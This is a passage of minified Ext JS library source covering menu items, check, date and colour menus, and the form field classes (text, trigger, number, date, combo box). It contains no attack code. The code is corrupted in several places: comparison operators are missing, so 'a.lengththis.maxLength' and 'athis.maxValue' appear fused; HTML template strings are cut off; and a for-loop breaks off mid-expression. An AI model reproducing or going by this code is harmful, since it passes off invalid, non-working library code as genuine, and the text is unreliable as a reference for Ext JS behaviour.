h[o.id];o.un("beforehide",c);o.un("hide",g);o.un("beforeshow",i);o.un("show",k)},registerCheckable:function(o){var p=o.group;if(p){if(!d[p]){d[p]=[]}d[p].push(o)}},unregisterCheckable:function(o){var p=o.group;if(p){d[p].remove(o)}},onCheckChange:function(q,r){if(q.group&&r){var t=d[q.group],p=0,o=t.length,s;for(;p',' target="{hrefTarget}"',"",">",'{altText}','{text}',"")}var c=this.getTemplateArgs();this.el=b?this.itemTpl.insertBefore(b,c,true):this.itemTpl.append(d,c,true);this.iconEl=this.el.child("img.x-menu-item-icon");this.textEl=this.el.child(".x-menu-item-text");if(!this.href){this.mon(this.el,"click",Ext.emptyFn,null,{preventDefault:true})}Ext.menu.Item.superclass.onRender.call(this,d,b)},getTemplateArgs:function(){return{id:this.id,cls:this.itemCls+(this.menu?" x-menu-item-arrow":"")+(this.cls?" "+this.cls:""),href:this.href||"#",hrefTarget:this.hrefTarget,icon:this.icon||Ext.BLANK_IMAGE_URL,iconCls:this.iconCls||"",text:this.itemText||this.text||" ",altText:this.altText||""}},setText:function(a){this.text=a||" ";if(this.rendered){this.textEl.update(this.text);this.parentMenu.layout.doAutoSize()}},setIconClass:function(a){var b=this.iconCls;this.iconCls=a;if(this.rendered){this.iconEl.replaceClass(b,this.iconCls)}},beforeDestroy:function(){clearTimeout(this.showTimer);clearTimeout(this.hideTimer);if(this.menu){delete this.menu.ownerCt;this.menu.destroy()}Ext.menu.Item.superclass.beforeDestroy.call(this)},handleClick:function(a){if(!this.href){a.stopEvent()}Ext.menu.Item.superclass.handleClick.apply(this,arguments)},activate:function(a){if(Ext.menu.Item.superclass.activate.apply(this,arguments)){this.focus();if(a){this.expandMenu()}}return true},shouldDeactivate:function(a){if(Ext.menu.Item.superclass.shouldDeactivate.call(this,a)){if(this.menu&&this.menu.isVisible()){return !this.menu.getEl().getRegion().contains(a.getPoint())}return true}return false},deactivate:function(){Ext.menu.Item.superclass.deactivate.apply(this,arguments);this.hideMenu()},expandMenu:function(a){if(!this.disabled&&this.menu){clearTimeout(this.hideTimer);delete this.hideTimer;if(!this.menu.isVisible()&&!this.showTimer){this.showTimer=this.deferExpand.defer(this.showDelay,this,[a])}else{if(this.menu.isVisible()&&a){this.menu.tryActivate(0,1)}}}},deferExpand:function(a){delete this.showTimer;this.menu.show(this.container,this.parentMenu.subMenuAlign||"tl-tr?",this.parentMenu);if(a){this.menu.tryActivate(0,1)}},hideMenu:function(){clearTimeout(this.showTimer);delete this.showTimer;if(!this.hideTimer&&this.menu&&this.menu.isVisible()){this.hideTimer=this.deferHide.defer(this.hideDelay,this)}},deferHide:function(){delete this.hideTimer;if(this.menu.over){this.parentMenu.setActiveItem(this,false)}else{this.menu.hide()}}});Ext.reg("menuitem",Ext.menu.Item);Ext.menu.CheckItem=Ext.extend(Ext.menu.Item,{itemCls:"x-menu-item x-menu-check-item",groupClass:"x-menu-group-item",checked:false,ctype:"Ext.menu.CheckItem",initComponent:function(){Ext.menu.CheckItem.superclass.initComponent.call(this);this.addEvents("beforecheckchange","checkchange");if(this.checkHandler){this.on("checkchange",this.checkHandler,this.scope)}Ext.menu.MenuMgr.registerCheckable(this)},onRender:function(a){Ext.menu.CheckItem.superclass.onRender.apply(this,arguments);if(this.group){this.el.addClass(this.groupClass)}if(this.checked){this.checked=false;this.setChecked(true,true)}},destroy:function(){Ext.menu.MenuMgr.unregisterCheckable(this);Ext.menu.CheckItem.superclass.destroy.apply(this,arguments)},setChecked:function(b,a){var c=a===true;if(this.checked!=b&&(c||this.fireEvent("beforecheckchange",this,b)!==false)){Ext.menu.MenuMgr.onCheckChange(this,b);if(this.container){this.container[b?"addClass":"removeClass"]("x-menu-item-checked")}this.checked=b;if(!c){this.fireEvent("checkchange",this,b)}}},handleClick:function(a){if(!this.disabled&&!(this.checked&&this.group)){this.setChecked(!this.checked)}Ext.menu.CheckItem.superclass.handleClick.apply(this,arguments)}});Ext.reg("menucheckitem",Ext.menu.CheckItem);Ext.menu.DateMenu=Ext.extend(Ext.menu.Menu,{enableScrolling:false,hideOnClick:true,pickerId:null,cls:"x-date-menu",initComponent:function(){this.on("beforeshow",this.onBeforeShow,this);if(this.strict=(Ext.isIE7&&Ext.isStrict)){this.on("show",this.onShow,this,{single:true,delay:20})}Ext.apply(this,{plain:true,showSeparator:false,items:this.picker=new Ext.DatePicker(Ext.applyIf({internalRender:this.strict||!Ext.isIE,ctCls:"x-menu-date-item",id:this.pickerId},this.initialConfig))});this.picker.purgeListeners();Ext.menu.DateMenu.superclass.initComponent.call(this);this.relayEvents(this.picker,["select"]);this.on("show",this.picker.focus,this.picker);this.on("select",this.menuHide,this);if(this.handler){this.on("select",this.handler,this.scope||this)}},menuHide:function(){if(this.hideOnClick){this.hide(true)}},onBeforeShow:function(){if(this.picker){this.picker.hideMonthPicker(true)}},onShow:function(){var a=this.picker.getEl();a.setWidth(a.getWidth())}});Ext.reg("datemenu",Ext.menu.DateMenu);Ext.menu.ColorMenu=Ext.extend(Ext.menu.Menu,{enableScrolling:false,hideOnClick:true,cls:"x-color-menu",paletteId:null,initComponent:function(){Ext.apply(this,{plain:true,showSeparator:false,items:this.palette=new Ext.ColorPalette(Ext.applyIf({id:this.paletteId},this.initialConfig))});this.palette.purgeListeners();Ext.menu.ColorMenu.superclass.initComponent.call(this);this.relayEvents(this.palette,["select"]);this.on("select",this.menuHide,this);if(this.handler){this.on("select",this.handler,this.scope||this)}},menuHide:function(){if(this.hideOnClick){this.hide(true)}}});Ext.reg("colormenu",Ext.menu.ColorMenu);Ext.form.Field=Ext.extend(Ext.BoxComponent,{invalidClass:"x-form-invalid",invalidText:"The value in this field is invalid",focusClass:"x-form-focus",validationEvent:"keyup",validateOnBlur:true,validationDelay:250,defaultAutoCreate:{tag:"input",type:"text",size:"20",autocomplete:"off"},fieldClass:"x-form-field",msgTarget:"qtip",msgFx:"normal",readOnly:false,disabled:false,submitValue:true,isFormField:true,msgDisplay:"",hasFocus:false,initComponent:function(){Ext.form.Field.superclass.initComponent.call(this);this.addEvents("focus","blur","specialkey","change","invalid","valid")},getName:function(){return this.rendered&&this.el.dom.name?this.el.dom.name:this.name||this.id||""},onRender:function(c,a){if(!this.el){var b=this.getAutoCreate();if(!b.name){b.name=this.name||this.id}if(this.inputType){b.type=this.inputType}this.autoEl=b}Ext.form.Field.superclass.onRender.call(this,c,a);if(this.submitValue===false){this.el.dom.removeAttribute("name")}var d=this.el.dom.type;if(d){if(d=="password"){d="text"}this.el.addClass("x-form-"+d)}if(this.readOnly){this.setReadOnly(true)}if(this.tabIndex!==undefined){this.el.dom.setAttribute("tabIndex",this.tabIndex)}this.el.addClass([this.fieldClass,this.cls])},getItemCt:function(){return this.itemCt},initValue:function(){if(this.value!==undefined){this.setValue(this.value)}else{if(!Ext.isEmpty(this.el.dom.value)&&this.el.dom.value!=this.emptyText){this.setValue(this.el.dom.value)}}this.originalValue=this.getValue()},isDirty:function(){if(this.disabled||!this.rendered){return false}return String(this.getValue())!==String(this.originalValue)},setReadOnly:function(a){if(this.rendered){this.el.dom.readOnly=a}this.readOnly=a},afterRender:function(){Ext.form.Field.superclass.afterRender.call(this);this.initEvents();this.initValue()},fireKey:function(a){if(a.isSpecialKey()){this.fireEvent("specialkey",this,a)}},reset:function(){this.setValue(this.originalValue);this.clearInvalid()},initEvents:function(){this.mon(this.el,Ext.EventManager.getKeyEvent(),this.fireKey,this);this.mon(this.el,"focus",this.onFocus,this);this.mon(this.el,"blur",this.onBlur,this,this.inEditor?{buffer:10}:null)},preFocus:Ext.emptyFn,onFocus:function(){this.preFocus();if(this.focusClass){this.el.addClass(this.focusClass)}if(!this.hasFocus){this.hasFocus=true;this.startValue=this.getValue();this.fireEvent("focus",this)}},beforeBlur:Ext.emptyFn,onBlur:function(){this.beforeBlur();if(this.focusClass){this.el.removeClass(this.focusClass)}this.hasFocus=false;if(this.validationEvent!==false&&(this.validateOnBlur||this.validationEvent=="blur")){this.validate()}var a=this.getValue();if(String(a)!==String(this.startValue)){this.fireEvent("change",this,a,this.startValue)}this.fireEvent("blur",this);this.postBlur()},postBlur:Ext.emptyFn,isValid:function(a){if(this.disabled){return true}var c=this.preventMark;this.preventMark=a===true;var b=this.validateValue(this.processValue(this.getRawValue()),a);this.preventMark=c;return b},validate:function(){if(this.disabled||this.validateValue(this.processValue(this.getRawValue()))){this.clearInvalid();return true}return false},processValue:function(a){return a},validateValue:function(b){var a=this.getErrors(b)[0];if(a==undefined){return true}else{this.markInvalid(a);return false}},getErrors:function(){return[]},getActiveError:function(){return this.activeError||""},markInvalid:function(c){if(this.rendered&&!this.preventMark){c=c||this.invalidText;var a=this.getMessageHandler();if(a){a.mark(this,c)}else{if(this.msgTarget){this.el.addClass(this.invalidClass);var b=Ext.getDom(this.msgTarget);if(b){b.innerHTML=c;b.style.display=this.msgDisplay}}}}this.setActiveError(c)},clearInvalid:function(){if(this.rendered&&!this.preventMark){this.el.removeClass(this.invalidClass);var a=this.getMessageHandler();if(a){a.clear(this)}else{if(this.msgTarget){this.el.removeClass(this.invalidClass);var b=Ext.getDom(this.msgTarget);if(b){b.innerHTML="";b.style.display="none"}}}}this.unsetActiveError()},setActiveError:function(b,a){this.activeError=b;if(a!==true){this.fireEvent("invalid",this,b)}},unsetActiveError:function(a){delete this.activeError;if(a!==true){this.fireEvent("valid",this)}},getMessageHandler:function(){return Ext.form.MessageTargets[this.msgTarget]},getErrorCt:function(){return this.el.findParent(".x-form-element",5,true)||this.el.findParent(".x-form-field-wrap",5,true)},alignErrorEl:function(){this.errorEl.setWidth(this.getErrorCt().getWidth(true)-20)},alignErrorIcon:function(){this.errorIcon.alignTo(this.el,"tl-tr",[2,0])},getRawValue:function(){var a=this.rendered?this.el.getValue():Ext.value(this.value,"");if(a===this.emptyText){a=""}return a},getValue:function(){if(!this.rendered){return this.value}var a=this.el.getValue();if(a===this.emptyText||a===undefined){a=""}return a},setRawValue:function(a){return this.rendered?(this.el.dom.value=(Ext.isEmpty(a)?"":a)):""},setValue:function(a){this.value=a;if(this.rendered){this.el.dom.value=(Ext.isEmpty(a)?"":a);this.validate()}return this},append:function(a){this.setValue([this.getValue(),a].join(""))}});Ext.form.MessageTargets={qtip:{mark:function(a,b){a.el.addClass(a.invalidClass);a.el.dom.qtip=b;a.el.dom.qclass="x-form-invalid-tip";if(Ext.QuickTips){Ext.QuickTips.enable()}},clear:function(a){a.el.removeClass(a.invalidClass);a.el.dom.qtip=""}},title:{mark:function(a,b){a.el.addClass(a.invalidClass);a.el.dom.title=b},clear:function(a){a.el.dom.title=""}},under:{mark:function(b,c){b.el.addClass(b.invalidClass);if(!b.errorEl){var a=b.getErrorCt();if(!a){b.el.dom.title=c;return}b.errorEl=a.createChild({cls:"x-form-invalid-msg"});b.on("resize",b.alignErrorEl,b);b.on("destroy",function(){Ext.destroy(this.errorEl)},b)}b.alignErrorEl();b.errorEl.update(c);Ext.form.Field.msgFx[b.msgFx].show(b.errorEl,b)},clear:function(a){a.el.removeClass(a.invalidClass);if(a.errorEl){Ext.form.Field.msgFx[a.msgFx].hide(a.errorEl,a)}else{a.el.dom.title=""}}},side:{mark:function(b,c){b.el.addClass(b.invalidClass);if(!b.errorIcon){var a=b.getErrorCt();if(!a){b.el.dom.title=c;return}b.errorIcon=a.createChild({cls:"x-form-invalid-icon"});if(b.ownerCt){b.ownerCt.on("afterlayout",b.alignErrorIcon,b);b.ownerCt.on("expand",b.alignErrorIcon,b)}b.on("resize",b.alignErrorIcon,b);b.on("destroy",function(){Ext.destroy(this.errorIcon)},b)}b.alignErrorIcon();b.errorIcon.dom.qtip=c;b.errorIcon.dom.qclass="x-form-invalid-tip";b.errorIcon.show()},clear:function(a){a.el.removeClass(a.invalidClass);if(a.errorIcon){a.errorIcon.dom.qtip="";a.errorIcon.hide()}else{a.el.dom.title=""}}}};Ext.form.Field.msgFx={normal:{show:function(a,b){a.setDisplayed("block")},hide:function(a,b){a.setDisplayed(false).update("")}},slide:{show:function(a,b){a.slideIn("t",{stopFx:true})},hide:function(a,b){a.slideOut("t",{stopFx:true,useDisplay:true})}},slideRight:{show:function(a,b){a.fixDisplay();a.alignTo(b.el,"tl-tr");a.slideIn("l",{stopFx:true})},hide:function(a,b){a.slideOut("l",{stopFx:true,useDisplay:true})}}};Ext.reg("field",Ext.form.Field);Ext.form.TextField=Ext.extend(Ext.form.Field,{grow:false,growMin:30,growMax:800,vtype:null,maskRe:null,disableKeyFilter:false,allowBlank:true,minLength:0,maxLength:Number.MAX_VALUE,minLengthText:"The minimum length for this field is {0}",maxLengthText:"The maximum length for this field is {0}",selectOnFocus:false,blankText:"This field is required",validator:null,regex:null,regexText:"",emptyText:null,emptyClass:"x-form-empty-field",initComponent:function(){Ext.form.TextField.superclass.initComponent.call(this);this.addEvents("autosize","keydown","keyup","keypress")},initEvents:function(){Ext.form.TextField.superclass.initEvents.call(this);if(this.validationEvent=="keyup"){this.validationTask=new Ext.util.DelayedTask(this.validate,this);this.mon(this.el,"keyup",this.filterValidation,this)}else{if(this.validationEvent!==false&&this.validationEvent!="blur"){this.mon(this.el,this.validationEvent,this.validate,this,{buffer:this.validationDelay})}}if(this.selectOnFocus||this.emptyText){this.mon(this.el,"mousedown",this.onMouseDown,this);if(this.emptyText){this.applyEmptyText()}}if(this.maskRe||(this.vtype&&this.disableKeyFilter!==true&&(this.maskRe=Ext.form.VTypes[this.vtype+"Mask"]))){this.mon(this.el,"keypress",this.filterKeys,this)}if(this.grow){this.mon(this.el,"keyup",this.onKeyUpBuffered,this,{buffer:50});this.mon(this.el,"click",this.autoSize,this)}if(this.enableKeyEvents){this.mon(this.el,{scope:this,keyup:this.onKeyUp,keydown:this.onKeyDown,keypress:this.onKeyPress})}},onMouseDown:function(a){if(!this.hasFocus){this.mon(this.el,"mouseup",Ext.emptyFn,this,{single:true,preventDefault:true})}},processValue:function(a){if(this.stripCharsRe){var b=a.replace(this.stripCharsRe,"");if(b!==a){this.setRawValue(b);return b}}return a},filterValidation:function(a){if(!a.isNavKeyPress()){this.validationTask.delay(this.validationDelay)}},onDisable:function(){Ext.form.TextField.superclass.onDisable.call(this);if(Ext.isIE){this.el.dom.unselectable="on"}},onEnable:function(){Ext.form.TextField.superclass.onEnable.call(this);if(Ext.isIE){this.el.dom.unselectable=""}},onKeyUpBuffered:function(a){if(this.doAutoSize(a)){this.autoSize()}},doAutoSize:function(a){return !a.isNavKeyPress()},onKeyUp:function(a){this.fireEvent("keyup",this,a)},onKeyDown:function(a){this.fireEvent("keydown",this,a)},onKeyPress:function(a){this.fireEvent("keypress",this,a)},reset:function(){Ext.form.TextField.superclass.reset.call(this);this.applyEmptyText()},applyEmptyText:function(){if(this.rendered&&this.emptyText&&this.getRawValue().length<1&&!this.hasFocus){this.setRawValue(this.emptyText);this.el.addClass(this.emptyClass)}},preFocus:function(){var a=this.el,b;if(this.emptyText){if(a.dom.value==this.emptyText){this.setRawValue("");b=true}a.removeClass(this.emptyClass)}if(this.selectOnFocus||b){a.dom.select()}},postBlur:function(){this.applyEmptyText()},filterKeys:function(b){if(b.ctrlKey){return}var a=b.getKey();if(Ext.isGecko&&(b.isNavKeyPress()||a==b.BACKSPACE||(a==b.DELETE&&b.button==-1))){return}var c=String.fromCharCode(b.getCharCode());if(!Ext.isGecko&&b.isSpecialKey()&&!c){return}if(!this.maskRe.test(c)){b.stopEvent()}},setValue:function(a){if(this.emptyText&&this.el&&!Ext.isEmpty(a)){this.el.removeClass(this.emptyClass)}Ext.form.TextField.superclass.setValue.apply(this,arguments);this.applyEmptyText();this.autoSize();return this},getErrors:function(a){var d=Ext.form.TextField.superclass.getErrors.apply(this,arguments);a=Ext.isDefined(a)?a:this.processValue(this.getRawValue());if(Ext.isFunction(this.validator)){var c=this.validator(a);if(c!==true){d.push(c)}}if(a.length<1||a===this.emptyText){if(this.allowBlank){return d}else{d.push(this.blankText)}}if(!this.allowBlank&&(a.length<1||a===this.emptyText)){d.push(this.blankText)}if(a.lengththis.maxLength){d.push(String.format(this.maxLengthText,this.maxLength))}if(this.vtype){var b=Ext.form.VTypes;if(!b[this.vtype](a,this)){d.push(this.vtypeText||b[this.vtype+"Text"])}}if(this.regex&&!this.regex.test(a)){d.push(this.regexText)}return d},selectText:function(h,a){var c=this.getRawValue();var e=false;if(c.length>0){h=h===undefined?0:h;a=a===undefined?c.length:a;var g=this.el.dom;if(g.setSelectionRange){g.setSelectionRange(h,a)}else{if(g.createTextRange){var b=g.createTextRange();b.moveStart("character",h);b.moveEnd("character",a-c.length);b.select()}}e=Ext.isGecko||Ext.isOpera}else{e=true}if(e){this.focus()}},autoSize:function(){if(!this.grow||!this.rendered){return}if(!this.metrics){this.metrics=Ext.util.TextMetrics.createInstance(this.el)}var c=this.el;var b=c.dom.value;var e=document.createElement("div");e.appendChild(document.createTextNode(b));b=e.innerHTML;Ext.removeNode(e);e=null;b+=" ";var a=Math.min(this.growMax,Math.max(this.metrics.getWidth(b)+10,this.growMin));this.el.setWidth(a);this.fireEvent("autosize",this,a)},onDestroy:function(){if(this.validationTask){this.validationTask.cancel();this.validationTask=null}Ext.form.TextField.superclass.onDestroy.call(this)}});Ext.reg("textfield",Ext.form.TextField);Ext.form.TriggerField=Ext.extend(Ext.form.TextField,{defaultAutoCreate:{tag:"input",type:"text",size:"16",autocomplete:"off"},hideTrigger:false,editable:true,readOnly:false,wrapFocusClass:"x-trigger-wrap-focus",autoSize:Ext.emptyFn,monitorTab:true,deferHeight:true,mimicing:false,actionMode:"wrap",defaultTriggerWidth:17,onResize:function(a,c){Ext.form.TriggerField.superclass.onResize.call(this,a,c);var b=this.getTriggerWidth();if(Ext.isNumber(a)){this.el.setWidth(a-b)}this.wrap.setWidth(this.el.getWidth()+b)},getTriggerWidth:function(){var a=this.trigger.getWidth();if(!this.hideTrigger&&!this.readOnly&&a===0){a=this.defaultTriggerWidth}return a},alignErrorIcon:function(){if(this.wrap){this.errorIcon.alignTo(this.wrap,"tl-tr",[2,0])}},onRender:function(b,a){this.doc=Ext.isIE?Ext.getBody():Ext.getDoc();Ext.form.TriggerField.superclass.onRender.call(this,b,a);this.wrap=this.el.wrap({cls:"x-form-field-wrap x-form-field-trigger-wrap"});this.trigger=this.wrap.createChild(this.triggerConfig||{tag:"img",src:Ext.BLANK_IMAGE_URL,alt:"",cls:"x-form-trigger "+this.triggerClass});this.initTrigger();if(!this.width){this.wrap.setWidth(this.el.getWidth()+this.trigger.getWidth())}this.resizeEl=this.positionEl=this.wrap},getWidth:function(){return(this.el.getWidth()+this.trigger.getWidth())},updateEditState:function(){if(this.rendered){if(this.readOnly){this.el.dom.readOnly=true;this.el.addClass("x-trigger-noedit");this.mun(this.el,"click",this.onTriggerClick,this);this.trigger.setDisplayed(false)}else{if(!this.editable){this.el.dom.readOnly=true;this.el.addClass("x-trigger-noedit");this.mon(this.el,"click",this.onTriggerClick,this)}else{this.el.dom.readOnly=false;this.el.removeClass("x-trigger-noedit");this.mun(this.el,"click",this.onTriggerClick,this)}this.trigger.setDisplayed(!this.hideTrigger)}this.onResize(this.width||this.wrap.getWidth())}},setHideTrigger:function(a){if(a!=this.hideTrigger){this.hideTrigger=a;this.updateEditState()}},setEditable:function(a){if(a!=this.editable){this.editable=a;this.updateEditState()}},setReadOnly:function(a){if(a!=this.readOnly){this.readOnly=a;this.updateEditState()}},afterRender:function(){Ext.form.TriggerField.superclass.afterRender.call(this);this.updateEditState()},initTrigger:function(){this.mon(this.trigger,"click",this.onTriggerClick,this,{preventDefault:true});this.trigger.addClassOnOver("x-form-trigger-over");this.trigger.addClassOnClick("x-form-trigger-click")},onDestroy:function(){Ext.destroy(this.trigger,this.wrap);if(this.mimicing){this.doc.un("mousedown",this.mimicBlur,this)}delete this.doc;Ext.form.TriggerField.superclass.onDestroy.call(this)},onFocus:function(){Ext.form.TriggerField.superclass.onFocus.call(this);if(!this.mimicing){this.wrap.addClass(this.wrapFocusClass);this.mimicing=true;this.doc.on("mousedown",this.mimicBlur,this,{delay:10});if(this.monitorTab){this.on("specialkey",this.checkTab,this)}}},checkTab:function(a,b){if(b.getKey()==b.TAB){this.triggerBlur()}},onBlur:Ext.emptyFn,mimicBlur:function(a){if(!this.isDestroyed&&!this.wrap.contains(a.target)&&this.validateBlur(a)){this.triggerBlur()}},triggerBlur:function(){this.mimicing=false;this.doc.un("mousedown",this.mimicBlur,this);if(this.monitorTab&&this.el){this.un("specialkey",this.checkTab,this)}Ext.form.TriggerField.superclass.onBlur.call(this);if(this.wrap){this.wrap.removeClass(this.wrapFocusClass)}},beforeBlur:Ext.emptyFn,validateBlur:function(a){return true},onTriggerClick:Ext.emptyFn});Ext.form.TwinTriggerField=Ext.extend(Ext.form.TriggerField,{initComponent:function(){Ext.form.TwinTriggerField.superclass.initComponent.call(this);this.triggerConfig={tag:"span",cls:"x-form-twin-triggers",cn:[{tag:"img",src:Ext.BLANK_IMAGE_URL,alt:"",cls:"x-form-trigger "+this.trigger1Class},{tag:"img",src:Ext.BLANK_IMAGE_URL,alt:"",cls:"x-form-trigger "+this.trigger2Class}]}},getTrigger:function(a){return this.triggers[a]},afterRender:function(){Ext.form.TwinTriggerField.superclass.afterRender.call(this);var c=this.triggers,b=0,a=c.length;for(;b")}}d.innerHTML=a;b=Math.min(this.growMax,Math.max(d.offsetHeight,this.growMin));if(b!=this.lastHeight){this.lastHeight=b;this.el.setHeight(b);this.fireEvent("autosize",this,b)}}});Ext.reg("textarea",Ext.form.TextArea);Ext.form.NumberField=Ext.extend(Ext.form.TextField,{fieldClass:"x-form-field x-form-num-field",allowDecimals:true,decimalSeparator:".",decimalPrecision:2,allowNegative:true,minValue:Number.NEGATIVE_INFINITY,maxValue:Number.MAX_VALUE,minText:"The minimum value for this field is {0}",maxText:"The maximum value for this field is {0}",nanText:"{0} is not a valid number",baseChars:"0123456789",autoStripChars:false,initEvents:function(){var a=this.baseChars+"";if(this.allowDecimals){a+=this.decimalSeparator}if(this.allowNegative){a+="-"}a=Ext.escapeRe(a);this.maskRe=new RegExp("["+a+"]");if(this.autoStripChars){this.stripCharsRe=new RegExp("[^"+a+"]","gi")}Ext.form.NumberField.superclass.initEvents.call(this)},getErrors:function(b){var c=Ext.form.NumberField.superclass.getErrors.apply(this,arguments);b=Ext.isDefined(b)?b:this.processValue(this.getRawValue());if(b.length<1){return c}b=String(b).replace(this.decimalSeparator,".");if(isNaN(b)){c.push(String.format(this.nanText,b))}var a=this.parseValue(b);if(athis.maxValue){c.push(String.format(this.maxText,this.maxValue))}return c},getValue:function(){return this.fixPrecision(this.parseValue(Ext.form.NumberField.superclass.getValue.call(this)))},setValue:function(a){a=Ext.isNumber(a)?a:parseFloat(String(a).replace(this.decimalSeparator,"."));a=this.fixPrecision(a);a=isNaN(a)?"":String(a).replace(".",this.decimalSeparator);return Ext.form.NumberField.superclass.setValue.call(this,a)},setMinValue:function(a){this.minValue=Ext.num(a,Number.NEGATIVE_INFINITY)},setMaxValue:function(a){this.maxValue=Ext.num(a,Number.MAX_VALUE)},parseValue:function(a){a=parseFloat(String(a).replace(this.decimalSeparator,"."));return isNaN(a)?"":a},fixPrecision:function(b){var a=isNaN(b);if(!this.allowDecimals||this.decimalPrecision==-1||a||!b){return a?"":b}return parseFloat(parseFloat(b).toFixed(this.decimalPrecision))},beforeBlur:function(){var a=this.parseValue(this.getRawValue());if(!Ext.isEmpty(a)){this.setValue(a)}}});Ext.reg("numberfield",Ext.form.NumberField);Ext.form.DateField=Ext.extend(Ext.form.TriggerField,{format:"m/d/Y",altFormats:"m/d/Y|n/j/Y|n/j/y|m/j/y|n/d/y|m/j/Y|n/d/Y|m-d-y|m-d-Y|m/d|m-d|md|mdy|mdY|d|Y-m-d|n-j|n/j",disabledDaysText:"Disabled",disabledDatesText:"Disabled",minText:"The date in this field must be equal to or after {0}",maxText:"The date in this field must be equal to or before {0}",invalidText:"{0} is not a valid date - it must be in the format {1}",triggerClass:"x-form-date-trigger",showToday:true,startDay:0,defaultAutoCreate:{tag:"input",type:"text",size:"10",autocomplete:"off"},initTime:"12",initTimeFormat:"H",safeParse:function(b,c){if(Date.formatContainsHourInfo(c)){return Date.parseDate(b,c)}else{var a=Date.parseDate(b+" "+this.initTime,c+" "+this.initTimeFormat);if(a){return a.clearTime()}}},initComponent:function(){Ext.form.DateField.superclass.initComponent.call(this);this.addEvents("select");if(Ext.isString(this.minValue)){this.minValue=this.parseDate(this.minValue)}if(Ext.isString(this.maxValue)){this.maxValue=this.parseDate(this.maxValue)}this.disabledDatesRE=null;this.initDisabledDays()},initEvents:function(){Ext.form.DateField.superclass.initEvents.call(this);this.keyNav=new Ext.KeyNav(this.el,{down:function(a){this.onTriggerClick()},scope:this,forceKeyDown:true})},initDisabledDays:function(){if(this.disabledDates){var b=this.disabledDates,a=b.length-1,c="(?:";Ext.each(b,function(g,e){c+=Ext.isDate(g)?"^"+Ext.escapeRe(g.dateFormat(this.format))+"$":b[e];if(e!=a){c+="|"}},this);this.disabledDatesRE=new RegExp(c+")")}},setDisabledDates:function(a){this.disabledDates=a;this.initDisabledDays();if(this.menu){this.menu.picker.setDisabledDates(this.disabledDatesRE)}},setDisabledDays:function(a){this.disabledDays=a;if(this.menu){this.menu.picker.setDisabledDays(a)}},setMinValue:function(a){this.minValue=(Ext.isString(a)?this.parseDate(a):a);if(this.menu){this.menu.picker.setMinDate(this.minValue)}},setMaxValue:function(a){this.maxValue=(Ext.isString(a)?this.parseDate(a):a);if(this.menu){this.menu.picker.setMaxDate(this.maxValue)}},getErrors:function(e){var h=Ext.form.DateField.superclass.getErrors.apply(this,arguments);e=this.formatDate(e||this.processValue(this.getRawValue()));if(e.length<1){return h}var c=e;e=this.parseDate(e);if(!e){h.push(String.format(this.invalidText,c,this.format));return h}var g=e.getTime();if(this.minValue&&gthis.maxValue.clearTime().getTime()){h.push(String.format(this.maxText,this.formatDate(this.maxValue)))}if(this.disabledDays){var a=e.getDay();for(var b=0;b
    {'+this.displayField+"}
    "}this.view=new Ext.DataView({applyTo:this.innerList,tpl:this.tpl,singleSelect:true,selectedClass:this.selectedClass,itemSelector:this.itemSelector||"."+a+"-item",emptyText:this.listEmptyText,deferEmptyText:false});this.mon(this.view,{containerclick:this.onViewClick,click:this.onViewClick,scope:this});this.bindStore(this.store,true);if(this.resizable){this.resizer=new Ext.Resizable(this.list,{pinned:true,handles:"se"});this.mon(this.resizer,"resize",function(g,d,e){this.maxHeight=e-this.handleHeight-this.list.getFrameWidth("tb")-this.assetHeight;this.listWidth=d;this.innerList.setWidth(d-this.list.getFrameWidth("lr"));this.restrictHeight()},this);this[this.pageSize?"footer":"innerList"].setStyle("margin-bottom",this.handleHeight+"px")}}},getListParent:function(){return document.body},getStore:function(){return this.store},bindStore:function(a,b){if(this.store&&!b){if(this.store!==a&&this.store.autoDestroy){this.store.destroy()}else{this.store.un("beforeload",this.onBeforeLoad,this);this.store.un("load",this.onLoad,this);this.store.un("exception",this.collapse,this)}if(!a){this.store=null;if(this.view){this.view.bindStore(null)}if(this.pageTb){this.pageTb.bindStore(null)}}}if(a){if(!b){this.lastQuery=null;if(this.pageTb){this.pageTb.bindStore(a)}}this.store=Ext.StoreMgr.lookup(a);this.store.on({scope:this,beforeload:this.onBeforeLoad,load:this.onLoad,exception:this.collapse});if(this.view){this.view.bindStore(a)}}},reset:function(){if(this.clearFilterOnReset&&this.mode=="local"){this.store.clearFilter()}Ext.form.ComboBox.superclass.reset.call(this)},initEvents:function(){Ext.form.ComboBox.superclass.initEvents.call(this);this.keyNav=new Ext.KeyNav(this.el,{up:function(a){this.inKeyMode=true;this.selectPrev()},down:function(a){if(!this.isExpanded()){this.onTriggerClick()}else{this.inKeyMode=true;this.selectNext()}},enter:function(a){this.onViewClick()},esc:function(a){this.collapse()},tab:function(a){if(this.forceSelection===true){this.collapse()}else{this.onViewClick(false)}return true},scope:this,doRelay:function(c,b,a){if(a=="down"||this.scope.isExpanded()){var d=Ext.KeyNav.prototype.doRelay.apply(this,arguments);if(!Ext.isIE&&Ext.EventManager.useKeydown){this.scope.fireKey(c)}return d}return true},forceKeyDown:true,defaultEventAction:"stopEvent"});this.queryDelay=Math.max(this.queryDelay||10,this.mode=="local"?10:250);this.dqTask=new Ext.util.DelayedTask(this.initQuery,this);if(this.typeAhead){this.taTask=new Ext.util.DelayedTask(this.onTypeAhead,this)}if(!this.enableKeyEvents){this.mon(this.el,"keyup",this.onKeyUp,this)}},onDestroy:function(){if(this.dqTask){this.dqTask.cancel();this.dqTask=null}this.bindStore(null);Ext.destroy(this.resizer,this.view,this.pageTb,this.list);Ext.destroyMembers(this,"hiddenField");Ext.form.ComboBox.superclass.onDestroy.call(this)},fireKey:function(a){if(!this.isExpanded()){Ext.form.ComboBox.superclass.fireKey.call(this,a)}},onResize:function(a,b){Ext.form.ComboBox.superclass.onResize.apply(this,arguments);if(!isNaN(a)&&this.isVisible()&&this.list){this.doResize(a)}else{this.bufferSize=a}},doResize:function(a){if(!Ext.isDefined(this.listWidth)){var b=Math.max(a,this.minListWidth);this.list.setWidth(b);this.innerList.setWidth(b-this.list.getFrameWidth("lr"))}},onEnable:function(){Ext.form.ComboBox.superclass.onEnable.apply(this,arguments);if(this.hiddenField){this.hiddenField.disabled=false}},onDisable:function(){Ext.form.ComboBox.superclass.onDisable.apply(this,arguments);if(this.hiddenField){this.hiddenField.disabled=true}},onBeforeLoad:function(){if(!this.hasFocus){return}this.innerList.update(this.loadingText?'
    '+this.loadingText+"
